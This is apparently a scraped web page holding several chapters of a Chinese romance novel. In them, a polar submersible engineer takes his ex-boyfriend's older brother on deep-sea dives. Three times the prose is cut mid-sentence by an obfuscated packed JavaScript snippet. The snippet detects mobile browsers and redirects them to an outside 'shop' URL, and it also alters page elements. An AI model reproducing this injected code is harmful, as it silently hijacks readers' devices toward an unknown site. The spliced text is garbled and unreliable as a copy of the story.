“我们,才认识一天。”褚月恒有些反应不过来的看着眼前热气腾腾的面,搞不懂怎么能有人在认识的第一天就闯进他的屋子呢? “嗯,很高兴认识你。”褚月恒这话,莫名戳到了公山易禾的笑点,他带着笑意回应了一句,“快吃吧。” 褚月恒揉了揉耳朵,想起来戚清棠曾说过他是声控,喜欢好听的声音。那会儿褚月恒还不理解,声音有什么好听和不好听的,不就是人类说话震动的频率么。 可现在他有点理解了,公山易禾讲话就很好听,带着泊岳贵族沉淀百年的腔调,又有点像低沉柔滑的大提琴。 “我不想吃,拿走。”声音好听也无法动摇褚月恒拒绝的心,在拒绝人这方面,他一向很在行。 “你要是饿坏了,明天怎么驾驶潜水器,怎么保障我的安全?”公山易禾试图讲道理。 褚月恒对别人试图干扰他想法的话向来是一句也不听:“你担心就换个驾驶员。” “这儿只有你会开,换驾驶员还要再找资深工程师从定北城赶过来。”公山易禾继续讲道理,“这样你跟你领导也不好解释吧。” “出去。”褚月恒微微抬眸,眼中是凌冽的冷意,和戚清棠描述的一模一样,不通人情,攻击性强,拒人千里之外。 公山易禾没话说了,其实硬要辩论他还可以和褚月恒大战数回合,但他不喜欢强迫别人:“好吧,那你好好休息,晚安。” 说完后,公山易禾利落的转身出门,关灯关门。 公山易禾走后,褚月恒松了口气,继续看向窗外翻涌的海水,想着一会儿要去海边透透气。 他一会儿想立刻冲到定北医院501病房,一会儿想守在冰海边感受海水的温度,想法混乱反复,以至于他迟迟无法行动。 与此同时,在小别墅的吧台上,公山易禾一边吃饭一边复盘自己被褚月恒赶出房门的画面,出于多种因素,他这辈子大多数时间都被人们用最好的一面对待的。有时是因为他的权势、有时候是因为他的容貌,还有时候是因为他的性格气质。 第一次被人赶出门外,公山易禾还感觉挺新奇的。 不过比起新奇,更多的还是一种不舒服的感觉。他知道戚清棠被褚月恒这样对待过很多次,戚清棠性子敏感,被这样对待后,一定会自己默默伤心很久。 自己的亲弟弟眼巴巴的捧着一颗真心上去,却不被人珍惜,做哥哥的实在是无法接受。 理智上,公山易禾知道自己不该再把褚月恒和戚清棠的感情问题和工作纠缠在一起,可感情上,他还是想弄清楚,褚月恒到底是个什么样的人,为什么在毫不留情的把他弟弟拒之门外后,又不依不饶的找到了定北医院的病房? 褚月恒对戚清棠有恶意吗?会在分手后报复吗?又或者,褚月恒其实对戚清棠也是有感情的,只是他性格有缺陷,表达出来的爱是扭曲的? 无论是哪种,都不是什么好事。 于是,褚月恒还没安静几分钟,敲门声又响起来了。 “不好意思,再打扰你一下。”公山易禾的声音依旧是不紧不慢、彬彬有礼。 褚月恒不想回答,可不回答公山易禾就会自己闯进来,早知道该给房门安个门锁的。 褚月恒直勾勾的盯着门把手,沉默的跟门把手较劲儿。 “我刚才反省了,觉得我有点冒昧,我不该私自打开你的房门,对不起。” 突如其来的道歉让褚月恒有点震惊,但是他对此十分赞同。 “所以,这次你来给我开门好吗?”道歉后,公山易禾提出无理要求。 褚月恒当然拒绝回答。 门外,公山易禾微微笑了一下,贴近房门蛊惑道:“你开门,我给你讲神女神话里的故事。你不想回答的话,我尊重你,我数十下,如果你没开门,我自行离开。” “一,二,三……” 比起用鸟笼把飞鸟锁住,他还是更喜欢准备好最美味的食物和最迷人的鲜花,等待鸟儿自己飞到他身边。 过去二十来年的人生经验告诉他,飞鸟总会为他而来,而鸟笼,则没看上去那么可靠。事业、亲情、友谊,他无往不利。 果然,褚月恒快速走到门边,把门和灯同时打开:“进来。” 公山易禾轻笑了一声,眯着眼打量着褚月恒,手里还端着刚才被褚月恒拒绝的那碗面:“你问,我答,我答一个问题,你就要吃一口饭,可以么?” 褚月恒点点头,做了个‘请’的姿势:“您请坐。” 公山易禾哭笑不得的落座了,褚月恒刚才明明还幼稚的不开门不理人,现在一开门又是一副成熟大人模样了,真是够分裂的。 公山易禾再次把面条放到飘窗小桌上:“问吧。” 飘窗外下起了鹅毛大雪,极地的雪说来就来,褚月恒有些紧张的垂下眼睛,却被面的蒸汽扑了一脸:“神话里有没有写神女的容貌?” “有。”公山易禾伸手点了点桌子,“第一个问题答完了,吃吧。” 褚月恒顿了一下,乖巧的吃了口面条,公山易禾有点想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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因为他是受神女庇护的人,他和那些凡人是不一样的。这个信念,他从七岁坚信到昨天,然后在昨天干脆利落的选择抛弃。 偏偏在他决定放弃的时候,客观世界告诉他这个信念是有根据的,这可真叫人难做啊。 “没有问题了吗?”褚月恒抬起头,看到公山易禾正耐心的等着他,公山易禾有一双漂亮的眼睛,眼尾微微上挑,带着一丝惑人的弧度,和戚清棠一模一样。 褚月恒突然注意到公山易禾和戚清棠的相似之处,这个发现令他对戚清棠的思念和愧疚更加难以抑制,比起虚无缥缈的神女,他更需要戚清棠的陪伴。 “没有了。”褚月恒意兴阑珊的移开目光,不敢再看公山易禾的眼睛。 “哦?”公山易禾惊讶了,“作为一个科学家,你不好奇为什么神女的容貌和她的后代差距如此大么?况且,黑发黑眸并不适合在极地捕猎,她为什么会进化成这样呢?” “为什么呢?”褚月恒兴致缺缺的敷衍着。 “吃两口,我告诉你。”公山易禾打定主意要让褚月恒把这碗面吃掉,他到底是天之骄子,被人那样无礼的拒绝,他还是有点介意的。 褚月恒放下筷子,抬眸看向公山易禾:“因为她生活在中原,为了躲避大洪水,才迁徙到极地,后代为了适应极地的环境,逐渐进化成了如今的模样,对吧。” 结合世界史,真相并不难猜。 “你猜对了。”为难褚月恒失败,公山易禾有点遗憾,但没有纠缠,“还有想问的吗?” 褚月恒犹豫了一下,终究没有开口:“没有了。” 他想问神女在迁徙前具体住在哪里,可想了想又觉得,这些都没意义。 褚月恒目送公山易禾离开,离开前,公山易禾把房间里的灯关上了,门外的光线勾勒出公山易禾侧脸的轮廓,恍惚间褚月恒还以为那是戚清棠,差一点,褚月恒就要冲过去抱住戚清棠的影子了。 好在半秒后,门被关上了,将褚月恒的失态留在黑暗与寂静里。 9. 新的探索 这个世界真令人惊叹,总会有很多令人无法想明白的事情。比如褚月恒就想不明白,自己怎么会被戚清棠这种愚蠢、脆弱的人类迷惑成这个样子。 褚月恒利用自己的空间记忆力,分析过去的每分每秒在他视觉范围内发生的每一件事,他认真的分析、拆解和戚清棠在一起的那六个月,从深夜思考到天光大亮,依旧没得到答案。 但是他发现,过去六个月的记忆和这之前的记忆有一点差异,这六个月的记忆比曾经的记忆更模糊一些,有些非常小的细节,明明在他的视线范围内,他却不能十成十确信那是他亲眼看到的,有部分记忆似乎源自于他的臆想。 产生这种差异的原因是情绪。 遇到戚清棠前,他的记忆是由他对未来的规划和当下发生的事情组成的,在这两个模块之间偶尔穿插着他关于冰海和神女的梦境,现实和梦境之间有一条清晰的分割线,什么是真实发生的,什么是他自己的臆想,非常清晰明了。 遇到戚清棠的这六个月,他耗费了大量精力在处理情绪上,这是他复盘后才发现的。 烦躁、厌恶、焦虑、担忧、愧疚,每时每刻,这些情绪在他脑海里来回切换,夹杂在这些情绪之间,还会偶尔冒出恐惧和绝望。他的注意力变得涣散,思路变得模糊,他开始犹豫,开始不那么坚定的知道自己想要什么。 他无法像从前那样敏锐的感知周围的环境,也无法像曾经那样明确的规划未来,现实和臆想的界限变得含混。有时戚清棠明明只是感冒了,他却会感觉戚清棠快要死了。 自从戚清棠爬上他的床后,他就没再梦到过冰海和神女了,他只会梦见戚清棠死亡的画面,或者自己死亡的画面。 褚月恒舒了口气,迷茫的看着自己的手,上面有攀爬冰山和调试机器留下的茧子,他擅长对付物品,却在处理人类的问题上笨拙到有些自卑。 他搞不明白自己为什么会这样痛苦,过去那六个月,他得到了什么?到底是什么让他感觉一旦失去……自己就会被彻底毁灭了? 人类天性喜爱追求快乐,可他那六个月并不快乐。 人类也痴迷于寻找意义,可过去的六个月他基本都在虚度光阴。 那,他是在寻求同类的陪伴吗?如果真的是这样,那是不是只要是个人类,就可以呢?是不是人类越多他就感觉越好呢? 褚月恒决定试验一下。 033静静看着褚月恒思索,在原来的时间线里,没有033的安抚,褚月恒的情绪比现在的他要激烈的多,褚月恒去定北医院找到戚清棠后,他们爆发了剧烈的争吵。 第二天公山易禾就带着戚清棠回到泊岳,在激烈的情绪碰撞里,褚月恒没有像今天这样安静思考的时间,他陷入极端的执念里,毫不犹豫的辞掉工作,追着戚清棠去了泊岳。 到了泊岳后,戚清棠和他的亲友极力排斥褚月恒,褚月恒用尽手段挽回戚清棠的心,谋划了一个又一个骗心计划,最终还是靠苦肉计才让戚清棠的态度开始软化。 戚清棠的态度软化后,褚月恒从极端的情绪里渐渐醒悟了过来,这才开始思考他现在思考的问题:是只有戚清棠的陪伴才可以安抚他,还是其他人的也可以? 然后他就做了一个非常典型的渣攻行为,在戚清棠刚开始尝试重新信任他时,和其他人不清不楚。 于是之前做的所有努力前功尽弃,戚清棠再次和褚月恒分手,褚月恒不得不用更极端的手段去挽回,俩人在泊岳城闹得天崩地裂。戚清棠为了躲避褚月恒,居然选择跑回他们初次相遇的北宁区,然后不管不顾的冲进了冰山无人区中。 他这个行为到底是为了躲避褚月恒,还是为了折磨褚月恒,很难界定。 也是戚清棠这个行为,让情绪已经完全被戚清棠撕裂的褚月恒彻底崩溃,他意识到戚清棠已经变得比他的生命更加重要了,他冒险冲进无人区救出了戚清棠,在医院衣不解带的照顾戚清棠,尽职尽责的扮演着戚清棠心目中的完美爱人,再次取得了戚清棠的原谅。 最终,褚月恒放弃了探寻冰海的梦想、彻底改变自己冷漠的性情,把自己改造成了完美的丈夫,温柔、体贴,只在乎戚清棠,和其他任何人都没有链接,做戚清棠的爱人、心理医生、护工,只为戚清棠而活。 戚清棠实现了做演员的梦想,褚月恒接手了戚砚琛的娱乐公司,凭借过人的智商和不择手段的办事方式,将公司规模进一步扩大,为戚清棠的演艺事业保驾护航。 他们看似幸福美满、天生一对,人们都在羡慕戚清棠。 至于褚月恒是怎么想的,大家就不清楚了。他唯一表现出来的情绪,就是在乎戚清棠,在乎有关戚清棠的所有事情,他整个人仿佛都变成了一个符号,明明是很耀眼的人,可人们想起他,却觉得他的形象是模糊的。 褚月恒能把娱乐公司做好,还挺出乎033的意料的,从目前它对褚月恒的观察来分析,褚月恒对这些‘接人气’的事务有种强烈的恐惧和抵触心理。 褚月恒的恐惧并不难揣测。 他内心深处认定自己是冰海神女的使徒,自视与凡人截然不同,坚信未来必将回归冰海,奔赴更广阔的天地。在这种认知下,处理 “凡人的琐事” 对他而言,无异于一种玷污。而 “必须擅长处理这些琐事,否则会影响生活质量” 的想法,更是会动摇他潜意识中构建的自我认同感。 正因如此,033 对褚月恒成为娱乐圈商人一事深感诧异。 戚清棠彻底改变了他,摧毁了他原本的认知体系。但客观来说,褚月恒走向极端,戚清棠并非罪魁祸首,他在褚月恒生命中造成的影响,甚至排不进前三。 但如果把褚月恒比作一辆濒临报废的布加迪,原本安静地停在路边,戚清棠则像个蹩脚的司机,强行上车炫技,结果将车开进了沟里。 不过值得庆幸的是,如今情况正逐渐好转。褚月恒提前数月就开始质疑戚清棠的不可替代性,公山易禾对他的态度也比原本时间线温和许多。 被033念叨的公山易禾正提溜着早饭往小别墅走,好不容易来趟极地,哪怕他心情不怎么美丽,也不影响他好好欣赏北国风光。 他起了个大早,简单锻炼了一下,然后去附近补给站买了些极地特色鱼油小饼。 如今是泊岳的阳春三月,可极地依旧是一片银白,公山易禾望向远方层峦叠嶂的雪山,隐隐看见雪山之间有一处蓝宝石般的湖泊,美的惊心动魄:“了不起的地方。” 与此同时,褚月恒正坐在飘窗上发呆,并眼睁睁的看到公山易禾提溜着一堆吃的,欢快的从楼下走过。 一夜没睡,褚月恒并没有感觉困倦,他那早早逃离他父亲魔爪的母亲,赐予了他优越的基因,他很少生病、受伤,几乎不会感觉到疲惫。 奇怪的是,身体不疲惫的他并不想动。闹钟响了,他该去给公山易禾做早饭,然后带他去实验室乘坐潜水器,可他的大脑此刻就像刹车,死死把他的身体刹住。褚月恒烦躁的捂住脸,共情了那些天天抱怨工作的同事们。 “起床了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271789|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”公山易禾的声音带着活力和愉悦,“我买了早饭。” 外部传进来的声音帮了褚月恒一把,褚月恒的大脑冒出一个新的想法:他昨晚刚决定要实验一下他是只想要戚清棠,还是单纯想要和其他人类亲近,公山易禾就是个很完美的实验对象。 公山易禾不愚蠢,不会让褚月恒看一眼就觉得恶心,能满足这两点要求,就打败了全球百分之九十九的人类,连戚清棠都只满足了第二条。 于是大脑停止了刹车行为,半死不活的产生了一点多巴胺催动褚月恒去完成这个任务。 既然决定要获得公山易禾的好感,那就要装一下了。 褚月恒大部分时候懒得把精力花在琢磨人类身上,但到底是曾经靠自己在定北城半工半读念过书的人,该如何讨人欢心,他还是懂一点的。 其实很简单,做一个能给别人带来利益的人就可以获得人们的喜欢。 在定北城打工时,他把自己的形象收拾的符合人类审美,给老板招揽更多的客人,老板就会喜欢他。招揽客人时,他服务的更耐心和体贴,给客人提供更好的用餐体验,客人也会更喜欢他。 这很简单,随便在网络上搜索一些人类喜好的流行趋势,随便学学穿搭,配上几句好听话,就可以达成目的。说到这里,褚月恒发现他还需要感谢他的母亲,赐予了他符合人类审美的容貌,如果他长成他父亲那样,那他只能在大街上扮演北极熊赚钱了。 不过他能给公山易禾什么呢? 取悦公山易禾还是挺难的,他什么都有了,他有远胜于褚月恒的科研成就,有渊博的学识和丰厚的资产。讨好他的人数不胜数,想讨好他,只是打扮的漂亮些、嘴甜一些是不够的。 褚月恒一边享用公山易禾带的早餐一边琢磨着,他还得更了解公山易禾一点。 晨间苍白的日光透过木屋的窗户照进屋内,照亮餐桌上鲜艳的红色印花桌布,公山易禾正品尝着他买回来了五六种北宁族特色早餐,每一种他都只买了一点,就为了把每一个都尝一口。 哪怕是在寒冷的极地,他也打扮的很讲究,穿着帅气的黑色鹅绒服和靴子,褚月恒看得出他的衣服虽然不花哨,但裁剪和设计都非常考究。但也不能因此武断的认为他是个注重穿衣品味的人,以他的社会地位和财力,拥有几个负责管理他日常生活的助理很正常,也许他每天穿什么助理早就给他搭配好放进行李箱了。 但是早餐肯定是他自己买的,所以他应该是喜欢美食且充满好奇心的人。 既然充满好奇心,那对极地冰海是不是也很好奇?对北宁区中万里冰川的美景好不好奇呢? 褚月恒的观察很隐晦,公山易禾并没有察觉到,他自顾自的享用美食,并没有和褚月恒交谈的兴趣。 昨晚他还没从弟弟住院的刺激中恢复过来,没忍住对着褚月恒阴阳怪气了几句。经过一晚上的沉淀,他已经彻底恢复了理智。工作就是工作,没必要和私人生活搅和在一起。他依旧不愿意和褚月恒交好,但是也没必要针锋相对。 不过不交谈归不交谈,眼睛还是得看人家的,所以当他们收拾好装备走出小木屋时,公山易禾不得不再次承认褚月恒实在是长在了他的审美点上,极地苍白的阳光让褚月恒整个人俊的发光。 褚月恒就像一块古老的寒玉,无论是容貌还是气质都具有莫名的吸引力,神秘、美丽,没有什么比神秘又美丽的东西更能吸引公山易禾了。 也许他们兄弟俩的审美高度相似,所以清棠才会那么奋不顾身。 10. 点点春意 他们沿着冰山直线下潜,有冰山的校准,可以降低迷失方向的风险。 冰山在水下呈现瑰丽深邃的蓝,比公山易禾见过的任何一块蓝宝石都美,随着潜水器往下走,他们进入了冰冷静谧的世界,水压增加,光线消失,剩下漆黑一片。 公山易禾有点无措的眨了眨眼,他下意识握紧身前用来固定的拉杆,耳边还能听到褚月恒不紧不慢操作机器的声音,雷达在黑暗中闪烁着幽绿的光,刺目的红点在SAR图上缓慢游走。 公山易禾搞不懂褚月恒是怎么在这么黑的地方操作这些复杂的机器的。 “我们不开探照灯吗?”公山易禾微微侧过头,稍微适应了一会儿后,他能隐约看见褚月恒的轮廓了。 “您稍等两分钟。”这是褚月恒的上班措辞,他非常的讲礼貌。但不开灯是他为了讨好公山易禾而准备的惊喜,希望公山易禾会喜欢。 公山易禾迷茫的转过头,揣测着褚月恒这到底是什么意思,是这个设备开灯比较麻烦?还是说有什么专业知识是他不知道的? 他是搞生物的理学家,褚月恒是研究极地冰海的工程师,他俩的专业跨度还挺大的,隔行如隔山。 在这寂静、黑暗的地方,公山易禾在心里默默数着秒数,终于数到了一百二十,然后他看到了生机勃勃的景象。 此时他们在海平面下一千米的位置,这里学名半生还带,阳光难以抵达。可生命总是渴望光明的,于是他们看到无数闻所未闻的物种用自己的方式发出光亮。就如同天地颠倒,他们的潜水器沉入了星空中。 成团的有机物质从上方落下,这是生存在浅海的生物的尸体所化,它们化作食物哺育着深海中的新物种。 “这里是半生还带对吧?”公山易禾终于把自己对冰海的那点了解从大脑里挖出来了,他着迷的往前探出身体,试图看清那些黑暗中的生物。 褚月恒打开探照灯,公山易禾看清了距离他们最近的生物,是一个荧光乌贼! 褚月恒看到公山易禾眼中热忱的光芒,那种对世界炽热真诚的热爱,就像个十八九岁的大男孩,他那多出来的十年可能活到狗肚子里了吧。 褚月恒没发现自己心里那点小小的嫉妒,他的空间记忆力明确记载了他儿时也曾拥有过强烈的好奇心,但是发生了太多事情,一点点把他探索世界的热情消磨殆尽。 后来,他的好奇心仅仅留给了冰海,不再对其他任何东西感兴趣。再后来,也就是现在,他最后一点好奇也消失了。 “我以前只在百科书上见过这些。”公山易禾有些感慨,“你这潜水器做的真好,气温凉快,空气清新,在这种环境□□验深海世界,既壮观又舒适,还有点满足了人类那种想睥睨自然的小愿望。” “以后我们会常常下来,您喜欢就尽情享受吧。”褚月恒试图讲好听话,“我这个潜水器耗氧量是普通潜水器的五倍,空气随时更新,保证清新。还有一个小的季节模拟系统,现在是春天,室温二十六度。” “哦?”公山易禾惊讶的看向褚月恒,就看到褚月恒从他那侧座椅下面拿出一个小巧的花瓶,里面的木香花正盛开,伴随着潜水器里的造风系统,那丝丝缕缕的香气在空气中流动,带来星星点点的春意。 “所以,你这潜水器里的春天就是二十六度,加上花朵和微风。”公山易禾伸手摸了摸脆弱的花朵,正好一只吸血鬼乌贼从他们玻璃前经过,似乎也对这花感兴趣,还多逗留了两下,这陆地之上生物和深海生物之间的互动,让公山易禾感觉很可爱。 这潜水器里的一切,令他很难不对褚月恒产生好感。 尤其在这探照灯冷淡的光晕下,他能清晰的看到褚月恒的鼻尖投在脸上的影子,褚月恒很适合冷色的光线,灯下看美人,越看越美。 在公山易禾的触碰下,花朵散落了一点花粉,公山易禾吓了一跳:“不好意思,弄脏你的潜水器了。” “没事儿,有小白在。”褚月恒按下一个按钮,一个小巧的白色吸尘器晃晃悠悠的从抽屉里滚出来,在地上敷衍的吸了一圈,又慢悠悠的回去了。 公山易禾沉默了一会儿,才说:“咱们的电够用吗?” “您放心,”褚月恒看着公山易禾,尽量勾起一抹真挚的笑容,“这个潜水器的电量储备是普通潜水器的十倍。” 公山易禾不自在的扭过头,下意识用泊岳绅士的假笑回应:“那太好了。” 褚月恒觉得公山易禾说话的腔调有点奇怪,有点像戚清棠看的那些老电影里的人讲话。他不知道那是百年前泊岳贵族讲话的腔调,公山易禾平日里都说标准的普通话,只有去看姥姥姥爷时才会用这种‘装腔作势’的方式说话。而现在他心里的那点不自在,让他下意识讲了点泊岳话。 “我们继续向下。”褚月恒见公山易禾没再往窗外看,就专心操作机器继续往下走了。 假装认真研究操作台上设备的公山易禾悄悄看了褚月恒一眼,觉得褚月恒认真的样子也是很有魅力的。 公山易禾认为人性很复杂,你不能因为一两个小细节来判断一个人的人品,人类是多面的,也是多变的。 可褚月恒会在潜水器里过春天,还给吸尘器起名字,最过分的是,他笑的很好看,明明不爱笑,却生了张笑起来非常明艳的脸, “您现在回头,会发现冰山不在我们身后了。” 褚月恒冷不丁一出声,提醒了公山易禾,公山易禾意识到褚月恒的优点远远不止以上那几条,他声音还好听。 公山易禾小时候经常带戚清棠去看音乐剧,他们哥俩对好听的声音审美是一致的,他们并不爱主流大众喜欢的音乐剧演员唱歌,他俩最爱的是清清泠泠的嗓音,那种能让人心静下来的清冷低沉,是他俩喜欢的。 “冰山消失了,我们还能找到方向吗?”公山易禾回头,看到一直为他们守卫后背的冰山消失了,留下一片一望无际的深蓝,恰好潜水器的造风系统吹来一阵带花香的微风。 一切都太美了,他听见自己的大脑在演奏钢琴曲。一切都很美,陪在他身边这个人也美,美到完美的融入周遭瑰丽的深海世界中,给一切增添了人性的色彩。 “有惯性导航系统,还有卫星,研究所的人也在上面监测我们的位置,您不用担心。” “我们能和研究所的人联系?” 褚月恒调出通讯系统:“可以的,这里有最先进的海底通讯系统。” 公山易禾叹了口气,默默想,业务能力也这么强,这个人难道就没有缺点吗? 公山易禾甚至有点开始替自己弟弟感到遗憾了,为什么这段感情就没有走下去呢?难道是因为在错误的年纪遇到了对的人?如果他们再成熟些,会不会结局更好? 公山易禾意识到自己的立场已经偏了,一天前他还坚信自己的弟弟是受害者,而现在,他似乎更倾向于两个人都不够成熟才导致了这段感情的破裂。 他一遍遍告诉自己褚月恒在冰冷的极地把他弟弟赶出门外,这才把偏离的思想拉回正轨。无论他们经历了什么,零下三十度的天气把人赶出门外都是不对的。况且褚月恒的表弟找他弟弟要了几百万是确实发生过的,他弟弟每天给褚月恒做饭却被冷暴力也是真是发生的。 无论他对褚月恒这个人观感有多好,都不能改变已经发生的客观事实,他不能感情用事。 “注意颠簸,我们到海床了。” 海床百万年的沉积淤泥有一千多米厚,且占了全球表面积的一半,在探照灯下,它们看上去像发酵的面团。 一只单棘躄鱼在淤泥区阴暗爬行,它像个猥琐的四角史莱姆。加乐福尼亚面哨正在淤泥区找虫子吃,公山易禾记得它俗称面饼章鱼。 “这面饼章鱼比照片上看上去更可爱些。”公山易禾又兴致勃勃的凑到玻璃边上去了。 “您看不清的话,我给您抓一只进来吧。”褚月恒努力表现出自己的体贴,就像在定北城当服务员时一样,观察客人想要什么,然后满足他们。 “可以抓进来?”公山易禾的眼睛又在发亮了,褚月恒注意到公山易禾的瞳色很浅,和戚清棠一样,或者,更浅一点,戚清棠的眼睛像温暖甜腻的热巧克力,公山易禾的眼睛像金棕色的琥珀。 公山易禾在激动时讲话也是那个风度翩翩的腔调,有点向下兼容的那种温柔,有点像褚月恒大学时碰到了的那位女性导师,褚月恒幻想自己和神女对话时,会将那位女性导师的说话语气安在神女身上。 所以,褚月恒喜欢这个语气,他发现自己的心情莫名的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271790|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了一点点,大概从黑色提升到了九十度灰。 心情稍微好了点的褚月恒行动力爆棚,他调出潜水器配备的大鱼兜子,朝面饼章鱼一兜子挥过去。 潜水器被带着一震,公山易禾笑着扶住扶手,认真的盯着那个大兜子。 可惜,这次没能抓到,兜子里空空如也。 “你不是北宁族人么?怎么下手一点也不准啊?”公山易禾的声音带着笑意。 “我下次就抓到了。”褚月恒抿了抿嘴,苍白的辩解了一句,然后又一兜子下去,又没抓到…… “让我来试试吧?” 褚月恒把操纵杆让给公山易禾,公山易禾认真的盯着那个正在快乐扭动的章鱼,他嘴角还带着放松的笑意,但他眼中的专注和自信令人动容。至少褚月恒是有点子动容,他莫名相信公山易禾肯定能一次得手。 果然,公山易禾出手快准狠,一兜子就把可怜的章鱼包裹住了。 褚月恒连忙操纵章鱼进了潜水器自带的生态鱼缸,生态鱼缸从潜水器的地面升起,那只被逮捕的章鱼正迷茫的贴在鱼缸上,正好和褚月恒大眼瞪小眼。 褚月恒下意识有点嫌弃的移开了视线。 公山易禾被褚月恒的小表情萌到了,忍不住低声笑了一下。他猜想,他弟弟大概就是在这些莫名其妙的小细节里为这个冷漠的男人倾倒的吧,可他不知道,戚清棠根本没见过褚月恒的这一面。 “这鱼看上去有点奇怪,长得有点……命苦?”公山易禾试图找到一个准确的形容词。 “被我们抓上来,是有点命苦。”褚月恒努力附和公山易禾的话。 “那我们把它放回去吧。”公山易禾有点慈爱的拍了拍鱼缸,缸里的章鱼很给他面子,翻了个面,改成和他大眼瞪小眼了。 褚月恒默默的看着这一切,心想,谁会不给公山易禾面子呢?只要他释放出善意,谁又会不回应呢?你瞧,连深海的章鱼都不能例外。 在褚月恒的生命里,这种正向的回应几乎没有的,被讨厌、排斥是常态。显然,公山易禾生活在一个他和完全不同的世界里。 褚月恒忍不住去想,如果让公山易禾也感受下被排斥的滋味,他会怎样反应呢?大概就不会这样自信又随意的释放善意了吧。 褚月恒抬起头,试图释放冷气,却对上了公山易禾带着笑意的眼睛:“怎么了?你舍不得放掉这个小家伙了?” “没有。”褚月恒狼狈的低下头,输掉了这一局。而公山易禾根本没意识到他刚才赢了,他只是觉得突然有点变扭的褚月恒看上去挺可爱的。 在安静的深海,在这狭小的潜水器里,他们之间莫名其妙涌动起了一种亲昵的氛围。 公山易禾有些不自在,一向健谈的他渐渐不说话了,他认真的盯着深海的风景,可余光里,褚月恒一直在那里,无法忽视,他甚至能通过潜水器的造风系统闻到褚月恒身上香皂的味道。 褚月恒操纵着潜水器缓缓上升,沉默还在蔓延。 褚月恒对人与人之间的氛围一向迟钝,可和戚清棠相处的这六个月改变了他,现在的他对氛围非常敏感,但他无法具体的体会到那到底是一种什么气氛,不管是什么气氛,反应到他的脑神经系统里,都是‘恐惧’。 现在也是一样,褚月恒开始恐惧公山易禾身上散发出的‘陌生感’。有陌生人踏入了他的心理防线,他的大脑拉响了警报。 “我们下次下海带个黑胶吧,听听音乐。”公山易禾打破了沉默。 公山易禾企图往他的潜水器里放自己的东西,这让褚月恒更加不适:“好,我今晚安上固定器和防震器,保证音质。” “你喜欢听什么?”公山易禾突然看向褚月恒,“古典乐?流行乐?我们今晚去黑胶店挑选一些吧。” 褚月恒迷茫的眨眨眼,不敢相信自己才刚刚决定要和一个人类好好相处,就得到了人类的主动邀约。 “好……那……就去定北城?”褚月恒不太确定的说,“我知道一家店,就是有点远。”他过目不忘的,走过的路边上有什么店铺他都知道,但商品质量如何他就不清楚了。 “没关系,今天工作内容少,下班早,来得及。” 褚月恒迷茫的点点头,震惊的都把不适感给忘了 11. 北宁村 “月恒,我就要回泊岳了。”戚清棠挣脱了褚月恒的手,冷淡的说。 “我陪你。”褚月恒立刻回答。 戚清棠震惊的抬起头:“你愿意为了我离开冰海?” “只要你不离开我,我去哪里都可以。”褚月恒略带些蛊惑的凑近,认真的看着戚清棠,“我愿意陪你去任何地方,只要你愿意再接纳我一次。” 没等戚清棠说话,褚月恒又说:“你可以拒绝,但我还是会跟着你。” 戚清棠扭过脸不去看褚月恒:“腿长在你身上,我管不了。” 褚月恒垂下眼睛,不说话了,他知道戚清棠最吃这一套。果然,沉默持续了短短三十秒,戚清棠就投降了:“你可以跟着我,但你还在考察期,如果你还像原来那样欺负我,我就……我就躲开,让你永远也找不到我!” 目的得逞的褚月恒恰到好处的露出一个戚清棠最喜欢的笑容,然后把戚清棠拉进自己怀里抱住。 拥抱住戚清棠的那一刻,褚月恒舒适的叹了口气,感觉自己再次完整了,那种鲜明的‘活着’的感觉,随着戚清棠炽热的体温源源不断的传入他的身体,随之而来的还有淡淡的喜悦与对未来的期盼。 “你还在考察期。”戚清棠把褚月恒推开,不过看他目含春意的表情就知道,他没真的生气。曾经对他冷淡傲慢的褚月恒,如今用这样专注的目光迷恋着他,他怎可能不喜欢? 奇怪的是,接收到戚清棠的正向反馈后,褚月恒反倒感觉一切都不对了。刚才那种自己圆满了的感觉褪去,空洞感再次返场,一切又回到了原点。 褚月恒选择忽略那一点点不对劲儿的感觉。 “我们去吃夜宵吧,我知道有一家餐厅泊岳菜做的非常好。”褚月恒想到自己晚上左右无事可做,不如做点戚清棠喜欢的事,争取早入把戚清棠追回来。 “不行,我奶奶今晚要来给我送鸡汤,她应该快来了,你赶紧走吧。” 被戚清棠赶出医院,褚月恒在定北城的大街上游荡。 曾经被工作填满的时间空了下来,曾经探索冰海的热情与执着冷却,他不知道该去哪里打发这段时间。 不知不觉的,他就走到了昨晚和公山易禾一起逛过的音像店。 他们今天下海时,播放着经典的古典钢琴曲,尝试着靠近海底热泉。试验进行的异常顺利,将各种需要改进的参数记录下来后,他们就可以准备去泊岳做数据分析了。 褚月恒漫无目的在音像店乱走,老板纳闷的问:“您昨天不是刚买了五张黑胶?这么快就听腻了?” “没有,我就是随便看看。” 033在褚月恒眼前飘来飘去:“要不去找公山教授玩?他一定在抓紧时间游览极地盛景。” 褚月恒兴致缺缺的看了033一会儿,踩下油门回了趟老家。 公山易禾提到过想要品尝正宗的北宁族鱼油饼,还想看齿鲸的牙齿,这些他们北宁村都有。 